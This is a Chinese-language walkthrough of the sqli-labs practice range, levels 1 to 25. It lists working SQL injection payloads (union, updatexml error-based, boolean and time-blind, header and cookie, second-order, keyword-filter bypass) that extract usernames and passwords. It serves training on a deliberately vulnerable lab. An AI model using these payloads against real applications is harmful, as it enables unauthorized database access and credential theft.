sql-libs通关详解
1-4关
1.第一关
我们输入?id=1 看回显,通过回显来判断是否存在注入,以及用什么方式进行注入,直接上图
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
那我们直接上命令
```powershell
id=1' order by 3 --+
?id=1' order by 4 --+ 发现没有回显,说明有3个字段
?id=-1' union select 1,2,3 --+ 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1' union select 1,database(),version() --+ 可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ 得到库中的表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+ 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+ 得到我们想要的username 和 password 0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
那我们接着直接上图
在这里还是解释一下,因为这里报出一个没有4,所以我们判断有3个字段
那么我就就要利用字段来判断回显了
接着去判断数据库名称和版本号
这里我们得到了库名是security,那么我就利用库名来判断表名
发现有一个users表,我们可以利用,我们利用user表去获取其中的字段发现字段以后我们就可以去得到这个表中的用户名和密码了
2.第二关
这一关同理,只是闭合点,没有’闭合 所以直接执行联合查询语句就好了
我们直接上命令
?id=1 and 1=1
?id=1 order by 3
?id=1 order by 4 发现没有回显,说明有3个字段
?id=-1 union select 1,2,3 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1 union select 1,database(),version() 可以得出数据库的名字和版本号
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() 得到库中的所有表
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1 union select 1,2,group_concat(username,0x7e,password) from users 得到我们想要的username 和 password 0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
额,在靶场环境中的话,数据库名 表名字段名都不变,所以我们直接去查询一下账号密码就好!
同样可以得到结果
3.第三关
在这里我们输入 --+之后还是报错,说明这里不用’闭合 我们尝试着用)
我们发现用)可以完美的闭合,从而可以进行注入,所以我们直接上命令
?id=1') and 1=1 --+
?id=1') order by 3 --+
?id=1') order by 4 --+ 发现没有回显,说明有3个字段
?id=-1') union select 1,2,3 --+ 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1') union select 1,database(),version() --+ 可以得出数据库的名字和版本号
?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ 得到库中的所有表
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 得到表中的字段,利用表中的字段得到我们的想要的数据?id=-1') union select 1,2,group_concat(username,0x7e,password) from users --+
同理,我们还是直接测试一下账号密码!
所以我们的结果是正确的
4.第四关
这里我们发现虽然使用–+不会报错,但是使用order by4 也有回显,所以这里我们应该是闭合点没找对,我们尝试着使用)
发现使用")可以,所以我们找到了闭合点是")
直接上命令:
?id=1") and 1=1 --+
?id=1") order by 3 --+
?id=1") order by 4 --+ 发现没有回显,说明有3个字段
?id=-1") union select 1,2,3 --+ 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1") union select 1,database(),version() --+ 可以得出数据库的名字和版本号
?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ 得到库中的所有表
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1 ") union select 1,2,group_concat(username,0x7e,password) from users --+
同理直接测试账号密码
5-8关
1.第五关
看到这里就知道了有回显,但是不明确,可能有注入点,可以找,但是得用盲注或者使用显错注入
那么我们来找闭合点
我们知道了,需要用’ --+来进行闭合注入,然后我们选择显错注入,显错注入相对盲注来说更加简单,我们可以先去尝试着用显错
直接上命令
?id=1' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ # 使用显错注入获得数据库的名字
?id=1' or (updatexml(1,concat(0x5c,version(),0x5c),1)) --+ # 使用显错注入获取到版本号
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ # 使用显错注入获取到表名
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ #使用显错注入获取到字段名
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+ 使用显错注入获取到username具体值
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+ # 使用显错注入获取到password的具体值
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ # 使用显错注入获取到username和password的所有值
接着我们来上图
我们发现一个user表,对我们有用,我们可以尝试去找一下表中的具体字段
我们发现存在用户名和密码,我们去尝试着试一下爆出用户和密码的值
在这里我们只发现了一个用户名和密码,而我们想要所有的用户名和密码,所以我们直接上bp
设置1个payload即可
我们先给1-20区尝试
在这里我们添加显示位方便我们查找
我们成功的找到了所有的用户和密码
2.第六关
这里就存在一个问题,使用’不能进行闭合
这里我们就找到了闭合点,所以我们可以使用显错注入来获取我们想要的到的内容了
上命令!
?id=1" or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ # 使用显错注入获得数据库的名字
?id=1" or (updatexml(1,concat(0x5c,version(),0x5c),1)) --+ # 使用显错注入获取到版本号
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ # 使用显错注入获取到表名
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ # 使用显错注入获取到字段名
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+ # 使用显错注入获取到username具体值
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+ # 使用显错注入获取到password的具体值
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ # 使用显错注入获取到username和password的所有值
同理我们这里直接去测试账号密码就好了
3.第七关
在这里我们先去寻找注入点
发现使用’)) --+可以 然后我们就使用显错注入
?id=1')) or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ # 使用显错注入获得数据库的名字
?id=1')) or (updatexml(1,concat(0x5c,version(),0x5c),1)) --+ # 使用显错注入获取到版本号
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ #使用显错注入获取到表名
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ # 使用显错注入获取到字段名
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+ # 使用显错注入获取到username具体值
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+ # 使用显错注入获取到password的具体值
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ # 使用显错注入获取到username和password的所有值
同理我们直接测账户密码
bp同理,直接上图
4.第八关
发现一个问题,闭合以后后面没信息了
然而使用–+将后面注释以后又出来回显,所以这里存在注入,我们可以尝试着显错注入
发现一个问题,不会报错,所以这里不存在显错注入,那没得选,只能盲注了,我们选择布尔型的盲注,因为这里有回显
那我们直接上命令
?id=1' and length(database())=8 --+ # 使用这个来爆数据库的长度为多少
?id=1' and substr(database(),1,1)='s' --+ # 使用这个来爆数据库的名字
?id=1'and (select count(table_name)from information_schema.tables where table_schema=database())=4 #爆出表的个数
?id=1' and length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=6 --+ # 爆第一个表的长度是6
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' +-+ # 爆出第一个表的第一个字母是e 从而爆出表的名字
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 -- + #判断表中有3个字段
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+ # 判断第一个字段的长度是否为2
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i' --+ # 判断第一个字段的第一个是否为i
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+ # 判断username中的数据一个是否为D
?id=1' and substr((select password from users limit 0,1),1,1)='D' --+ # 判断password中的数据第一个是否为D
这里尝试以后发现数据库长度是8,也可以直接用bp去测然后我们开始测数据库的名称,上bp
这里payload介绍一下,因为有substr命令,所以选择1这个payload,又因为是测试数据库,所以选择s
因为数据库的长度我们得出8 所以这里我们给到9
数据库名一般为字母,所以我们给到a-z
所以最后结果我们成功的爆出了数据库的名称为security
接着我们来去找他的库中的表的个数
我们得到它的表的个数是4个,那么我就可用bp测试它的每个表的长度了
payload1是因为要爆表,payload2是长度
这个是因为有4个表,所以给到3
而长度我们直接给到10
我们得出结论,第一个表长度是6,第二个是8,第三个是7,第四个是5,最长的是8我们需要特别注意一下,因为一会要用
接着我们来爆每一个表的具体内容
第一个是表的个数 第二个是具体的表的长度 第三个是具体的值
同理,有4个表,我们给到3
同理表长度最长的是8,所以我们给到9
也是同理,我们爆表的名字,使用a-z
我们得出结果:表名分别为:emails、referers、uagents、users
我们利用users表去获取字段,先获取字段的个数
通过测试我们发现有3个字段
那我们就可以去爆每一个字段的长度了
这里同理,payload1 是字段的个数 payload是长度
因为我们得到字段的个数是3所以我们给到3
字段的长度我们给到10
我们得到结果,第一个字段长度为2,第二个字段长度为8,第三个字段长度为8 最长的是8,记住,一会要用
那我们就可以去爆字段的具体内容了
同理
这里都是同理,我们直接上bp结果图
结果已经出来了:内容分别为 id、username、password
我们可以利用username和password获取到数据库中的具体字段的数据
因为我们不知道里面有多少个数据,所以我们先给20个尝试一下所以第一个给到20
这里我们说一下第三个,因为要爆用户名,用户名可能存在一些特殊的符号,所以我们的第三个要加一些特殊符号以及数字
到此我们得出它的用户名分别为dumb angelina dummy secure stupid superman batman admin admin1 admin2 admin3 dhakkan admin4
同理我们得到密码
我们得到的密码是:dumb、i-kill-you、p@assword、crappy、stupidity、genious、mob!le admin admin1 admin2 admin3 dumbo admin4
9-10关
1.第九关


我们发现一个问题,就是不管怎么尝试找闭合点都找不到,页面总是不变,这时候就想到了时间延时注入
我们加入sleep函数试一下
我们发现将1闭合以后延时输出就可以
呢我们就直接延时注入就好了,直接上命令
?id=1'and if(length((select database()))=8,sleep(5),1)--+ # 用时间延时注入判断数据库长度
?id=1'and if(substr((select database()),1,1)='s',sleep(5),1)--+ # 使用时间延时判断数据库的第一个字母是不是s
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+ # 使用时间延时的注入来判断有4个表
?id=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+ # 使用时间延时注入来判断第一个表的长度是6
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+ # 使用时间延时注入来判断第一个表的名字
?id=1' and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+ # 使用延时注入来判断第一个表中的字段有3个
?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+ # 使用延时注入来判断表中的字段的长度
?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+ # 使用延时注入来判断第个表中的第一个字段是i
?id=1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+ # 使用延时注入来判断username字段中的数据是否为D
?id=1' and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+ # 使用延时注入来判断password字段中的数据是否为
我们判断数据库的长度是8,接着我们就可以去判断数据库的内容了
还是与前面同理,设置好paylad直接攻击,我们直接上bp图
我们得到数据库的名字为security 同样的思路我们去找表的个数、长度、内容、以及字段的个数、长度、内容、以及具体的数据,思路跟上面的思路是一样的,这里我们直接给到一个最后的数据图!
密码的思路是一样的,这里就不上图了,结果也肯定是一样的
2.第十关
同样的道理,使用时间延时,找到闭合点是"后面思路完全一样,我们直接上命令
?id=1"and if(length((select database()))=8,sleep(5),1)--+ # 用时间延时注入判断数据库长度
?id=1"and if(substr((select database()),1,1)='s',sleep(5),1)--+ # 使用时间延时判断数据库的第一个字母是不是s
?id=1"and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
?id=1" and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+ # 使用时间延时的注入来判断有4个表
?id=1" and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+ # 使用时间延时注入来判断第一个表的长度是6
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+ # 使用时间延时注入来判断第一个表的名字
?id=1" and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+ # 使用延时注入来判断第一个表中的字段有3个
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+ # 使用延时注入来判断表中的字段的长度
?id=1" and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+ # 使用延时注入来判断第个表中的第一个字段是i
?id=1" and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+ # 使用延时注入来判断username字段中的数据是否为D
?id=1" and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+ # 使用延时注入来判断password字段中的数据是否为D
11-14关
1.第十一关
这里我们发现是post请求了,而不是get请求
看到我们就已经知道了,存在注入漏洞,且可以用联合注入
接着来找注入点就好了
我们可以用bp将这个请求拦截下来,然后在bp里面去操作
我们发现在请求体中将username后面使用’闭合以后使用or1=1形成永真,而#又将后面的注释掉,出现了结果,所以这里可以注入
所以这里我们可以直接使用联合注入
直接上命令
' order by 3 # 发现没有回显,说明有2个字段
' union select 1,2 # 判断显错位,可以得出,显错位是1,2
' union select database(),version() # 可以得出数据库的名字和版本号
' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 得到库中的所有表
' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schmema=database()# 得到表中的字段,利用表中的字段得到我们的想要的数据' union select 1,group_concat(username,0x7e,password) from users # 得到我们想要的username 和 password 0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
在这里我们可以得到它有2个字段
我们发现有一个users表我们可以去尝试
这里有一个usernam和password我们可以利用
我们成功的把所有的全部爆出来了
2.第十二关
还是post请求,继续bp
同样继续找注入点
在这里尝试之后发现存在双引号和括号
那么我们成功的找到了注入闭合点
接着我们直接上命令
")order by 3 # 发现没有回显,说明有2个字段
")union select 1,2 # 判断显错位,可以得出,显错位是1,2
")union select database(),version() # 可以得出数据库的名字和版本号
")union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 得到库中的所有表
")union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schmema=database()# 得到表中的字段,利用表中的字段得到我们的想要的数据") union select 1,group_concat(username,0x7e,password) from users # 得到我们想要的username 和 password 0x7e是编码的东西,解码之后是~是为了让我们看回显的时候更好看!!!
之后就跟上一个同理了,这里我们还是直接出一个最后结果
这关就成功了
3.第十三关
同理我们去找闭合点
这里报错了,说明存在注入
使用万能密码登陆之后,找到了闭合点
我们开始尝试着注入
在这里我们判断出它有2个字段,接着来判断显错位
这里我们发现一个问题,它的显错位没有出来,反而登陆进去了,那就感觉这里不存在联合注入了,这里得进行盲注或者显错注入,我们还是优先选择显错注入
我们直接上命令
') or (updatexml(1,concat(0x5c,database(),0x5c),1))# 使用显错注入获得数据库的名字
') or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号
') or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) # 使用显错注入获取到表名
') or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) # 使用显错注入获取到字段名
') or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值
') or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) #使用显错注入获取到password的具体值
') or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) # 使用显错注入获取到username和password的所有值
得出数据库的名字为security
有一个users表我们可以利用
有3个字段 我们要知道username 和password
这里我们出来一个,然后直接用攻击就好了
这里我们成功的将所有的账户名和密码解决!!!!
4.第十四关 
同理去找注入点
发现使用"登陆成功这里肯定是存在注入点了 发现可以使用显错注入
- 直接给最后结果,因为给13是一样的
与13一样的只是闭合使用"闭合就好了
15-16关
1.第十五关
这里使用万能密码直接就能进入
尝试着去找字段的时候没有回显,这里应该是要使用盲注了
很明显这里存在延时,直接利用延时注入
这里我们直接先上命令
'or if(length((select database()))=8,sleep(1),1)# # 用时间延时注入判断数据库长度
' or if(substr((select database()),1,1)='s',sleep(1),1) # # 使用时间延时判断数据库的第一个字母是不是s
'or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) # # 使用时间延时的注入来判断有4个表
' or if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) # # 使用时间延时注入来判断第一个表的长度是6
' or if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) # # 使用时间延时注入来判断第一个表的名字
' or if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个
' or if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) # 使用延时注入来判断表中的字段的长度
' or if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) # 使用延时注入来判断第个表中的第一个字段是i
' or if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+ # 使用延时注入来判断username字段中的数据是否为D
' or if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+ # 使用延时注入来判断password字段中的数据是否为D
判断库的长度
得知,库的长度是8
判断库的名字
得到库名为security
这里我们发现表的个数为4个我们要开始尝试着去找每一个表的长度
第一个payload我们给3因为有4个表
第二个payload我们给10
我们得出结果 表的长度分别为6 8 7 5
接着我们来获取表的内容
同理还是这是payload
如图
介绍一下,第一个是表的个数有4个所以我们给3 第二个是表的长度,最长的是8所以我们给8,第三个是表的内容我们给a-z
我们的得到了表的名字,发现有一个users,我们可以使用users去判断它的字段的个数
从这里我们可以得出它的字段的总数是3
然后我们来判断它的每一个字段的长度在这里我们发现字段长度分别为 2 8 8
我们来找字段的内容
payload介绍一下
因为有3个字段所以第一个payload给3 字段最长的是8所以第二个给8 第三个给a-z
在这里得到了username和password我们可以去找具体的数据,原理是一样的,最后的结果跟上面的账户密码是一样的。
2.第十六关
同样是找闭合点找到了闭合点,找一下使用注入的方法
这里发现没有回显,所以只能使用延时注入,跟上面15关一样,只是闭合点不一样
直接上命令
")or if(length((select database()))=8,sleep(1),1)# 用时间延时注入判断数据库长度
")or if(substr((select database()),1,1)='s',sleep(1),1) # 使用时间延时判断数据库的第一个字母是不是s
")or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) # 使用时间延时的注入来判断有4个表
")or if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) # 使用时间延时注入来判断第一个表的长度是6
")or if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) # 使用时间延时注入来判断第一个表的名字
")or if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个
")or if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) # 使用延时注入来判断表中的字段的长度
")or if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) # 使用延时注入来判断第个表中的第一个字段是i
")or if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+ 使用延时注入来判断username字段中的数据是否为D
")or if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+ 使用延时注入来判断password字段中的数据是否为D
过程完全一样就是闭合点不一样所以这里不给图了,照着15就好了!
17关
发现多了一个密码重置 我们可以抓包去看
发现一个问题,我们不管怎么去尝试都找不到注入点,在username中找不到注入点,就应该是在password中找
所以我们需要找一下username的名称
爆出账号以后,尝试着从passwrod处进行注入找到闭合点以后尝试着注入
这里发现不能使用order by,我们尝试着使用报错注入
直接上命令
' or (updatexml(1,concat(0x5c,database(),0x5c),1)) # 使用显错注入获得数据库的名字
' or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号
' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) # 使用显错注入获取到表名
' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #使用显错注入获取到字段名
' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值
' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) # 使用显错注入获取到password的具体值
' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) # 使用显错注入获取到username和password的所有值
利用users表获获取表中的字段
获取username 和passwrod得到用户名和密码
18-20关
1.第十八关
登陆一下之后发现一个ua,这里是我们登陆以后有一个回显是ua,所以我们可以尝试着来ua注入
直接上命令
' or (updatexml(1,concat(0x5c,database(),0x5c),1)) or '1'='1 # 使用显错注入获得数据库的名字
' or (updatexml(1,concat(0x5c,version(),0x5c),1)) or '1'='1 # 使用显错注入获取到版本号
' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) or '1'='1 # 使用显错注入获取到表名
' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) or '1'='1 # 使用显错注入获取到字段名
' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) or '1'='1 # 使用显错注入获取到username具体值
' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) or '1'='1 # 使用显错注入获取到password的具体值
' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) or '1'='1 # 使用显错注入获取到username和password的所有值
利用users表获取我们想要得到的字段
然后得到用户名和密码
得到了所有的内容
2.第十九关
同理我们发现这里有一个youre referer is xxxx 所以这一关是我们登陆之后去尝试着利用referer去注入
所以我们抓包去看一下有没有注入点
看下面的回显信息我们找到了注入点
接着我们来尝试显错注入
上命令
' or (updatexml(1,concat(0x5c,version(),0x5c),1)) and '1'='1 # 使用显错注入获取到版本号
' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) and '1'='1 # 使用显错注入获取到表名
' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) and '1'='1 # 使用显错注入获取到字段名
' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) and '1'='1 # 使用显错注入获取到username具体值
' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) and '1'='1 # 使用显错注入获取到password的具体值
' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) and '1'='1 # 使用显错注入获取到username和password的所有值
我们利用users表获取我们想要得到的内容然后我们获取username和password内容
3.第二十关
这里我们发现一个cookie值,同样的道理我们登陆以后会提示有一个cookie值,这里就可能是利用cookie值进行注入
我们利用这里注入,找一下注入点
我们找到了注入点,开始尝试注入
上命令
' order by 3 #
' order by 4 # 发现没有回显,说明有3个字段
' union select 1,2,3 # 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
' union select 1,database(),version() # 可以得出数据库的名字和版本号
' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() # 得到库中的所有表
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # 得到表中的字段,利用表中的字段得到我们的想要的数据
' union select 1,group_concat(username,0x22,password) from users # 得到用户名和密码
成功的爆出数据
21-22关
1.第二十一关
同理,登陆以后发现有cookie,所以还是尝试着用cookie注入,我们开始抓包
但是这里我们发现一个问题,cookie后面的内容并非我们输入的东西
这里很明显是php代码对我们输入的东西进行了编码
不过不重要我们还是先去找闭合点
我们发现单引号编码为jw==所以我们用这个去尝试一下
所以我们发现使用’)#就可以
使用admin’)编码以后就成功
所以接着我们直接上命令
admin') or (updatexml(1,concat(0x5c,database(),0x5c),1)) # 使用显错注入获得数据库的名字
admin') or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号
admin') or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) # 使用显错注入获取到表名
admin')or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) # 使用显错注入获取到字段名
admin') or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值
admin') or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))# 使用显错注入获取到password的具体值
admin') or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))# 使用显错注入获取到username和password的所有值
2.第二十二关
同理还是编码,我们找一下闭合点
闭合点是" #
直接上命令
admin" or (updatexml(1,concat(0x5c,database(),0x5c),1))# 使用显错注入获得数据库的名字
admin" or (updatexml(1,concat(0x5c,version(),0x5c),1)) # 使用显错注入获取到版本号
admin" or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))# 使用显错注入获取到表名
admin" or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) # 使用显错注入获取到字段名
admin" or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) # 使用显错注入获取到username具体值
admin" or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))# 使用显错注入获取到password的具体值
admin" or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))# 使用显错注入获取到username和password的所有值
同理,我们 直接去爆用户名和密码
23关
1.第二十三关
我们发现这里是get请求,我们去找一下注入点
我们发现使用’闭合以后报错了,应该就可以用’ 然后我们吧后面闭合
这里发现报错了,这里可能是因为吧–这两个注释符号过滤了
这里我们使用or ‘1’='1 将后面的引号闭合
这里我们就找到了注入点,那么我们直接上命令
# 爆库
?id=' union select 1,2,database() '# 爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '#爆列名
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '# 爆值
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
这里发现显错位是2,1,那么我们接下来直接联合注入就好了
这里就同理了,我们直接上最后一个用户和密码
24关
1.第二十四关
这一关我们发现让我们去注册一个用户,所以我们有思路,可以尝试者去进行二次注入
我们创建一个admin’#的用户
然后用这个用户登陆
登陆成功以后我们去修改这个用户密码
然后我们用这个admin登陆
这个原理是这样的,我们创建了一个admin’#的用户去修改它的密码,数据库会执行一个update命令
上命令
update users set password=123 where username='admin'#'; # 这样的话数据库会将#注释掉,默认以为修改admin的密码,所以导致我们可以使用admin登陆数据库
25关
1.第二十五关
首先我们找到了注入点,我们开始尝试着注入
我们发现一个问题,输入or 和and 以后 会将其过滤,所以导致我们的语句错误,所以我们可以绕过一下 我们使用双写绕过就好了 例如or 写成 oorr 它将中间的or过滤之后还有另外一个or所以我们直接上命令
?id=1' aandnd 1=1 --+
?id=1' oorrder by 3 --+
?id=1' oorrder by 4 --+ # 发现没有回显,说明有3个字段
?id=-1' union select 1,2,3 --+ # 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1' union select 1,database(),version() --+ # 可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=database() --+ # 得到库中的所有表
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+ # 得到表中的字段,利用表中的字段得到我们的想要的数据
